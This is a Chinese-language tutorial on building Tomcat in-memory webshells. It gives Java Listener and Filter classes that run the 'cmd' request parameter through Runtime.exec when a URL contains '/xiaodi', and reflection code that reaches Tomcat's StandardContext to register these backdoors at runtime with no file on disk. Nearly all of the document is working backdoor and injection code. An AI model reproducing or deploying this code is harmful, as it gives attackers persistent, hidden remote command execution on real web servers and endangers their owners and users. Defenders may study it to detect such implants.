一、Tomcat Listener 内存马
1. Listener 使用
以下是 ServletRequestListener 的实现,用于监听 HTTP 请求并执行特定逻辑。
public class TestListen implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
HttpServletRequest servletRequest = (HttpServletRequest) sre.getServletRequest();
String requestURI = servletRequest.getRequestURI();
if (requestURI.contains("/xiaodi")) {
String cmd = servletRequest.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
ServletRequestListener.super.requestInitialized(sre);
}
}web.xml 配置
在 web.xml 中添加以下配置以注册 Listener:
<listener>
<listener-class>org.example.testlisten.TestListen</listener-class>
</listener>2. 断点调试分析
通过断点调试,分析 Listener 的上下文获取过程:
StandardContext#contextApplicationContext#contextServletContext#request.getServletContext
3. 反射调用内存马
通过反射动态添加 Listener,实现内存马注入:
// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// 获取 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取 StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 动态添加 Listener
TestListen testListen = new TestListen();
standardContext.addApplicationEventListener(testListen);二、Tomcat Filter 内存马
1. Filter 使用
以下是 Filter 的实现,用于拦截 HTTP 请求并执行特定逻辑。
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("TestFilter init");
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("TestFilter doFilter");
HttpServletRequest request1 = (HttpServletRequest) request;
String requestURI = request1.getRequestURI();
if (requestURI.contains("/xiaodi")) {
String cmd = request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("TestFilter destroy");
Filter.super.destroy();
}
}web.xml 配置
在 web.xml 中添加以下配置以注册 Filter:
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>org.example.testfilter.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>2. 断点调试分析
Filter 相关核心对象包括:
- filterConfigs:存储 Filter 配置信息。
- filterDefs:存储 Filter 类引用和别名。
- filterMaps:存储 Filter 别名和路由映射。
Filter 创建涉及的元素
- Filter 类引用
- Filter 别名
- 对应路由
- 绑定路由的 Filter 别名
- Filter 实例
关键调用
filterDef#filterClassfilterDef#filterNamefilterMap#urlPatternfilterMap#filterName
3. 反射调用内存马
通过反射动态添加 Filter,实现内存马注入:
// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
// 反射获取 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 反射获取 StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 反射获取 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 创建 FilterDef 对象,设置 Filter 信息
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建 FilterMap 对象,设置 URL 映射(拦截所有资源)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建 ApplicationFilterConfig 并写入 filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);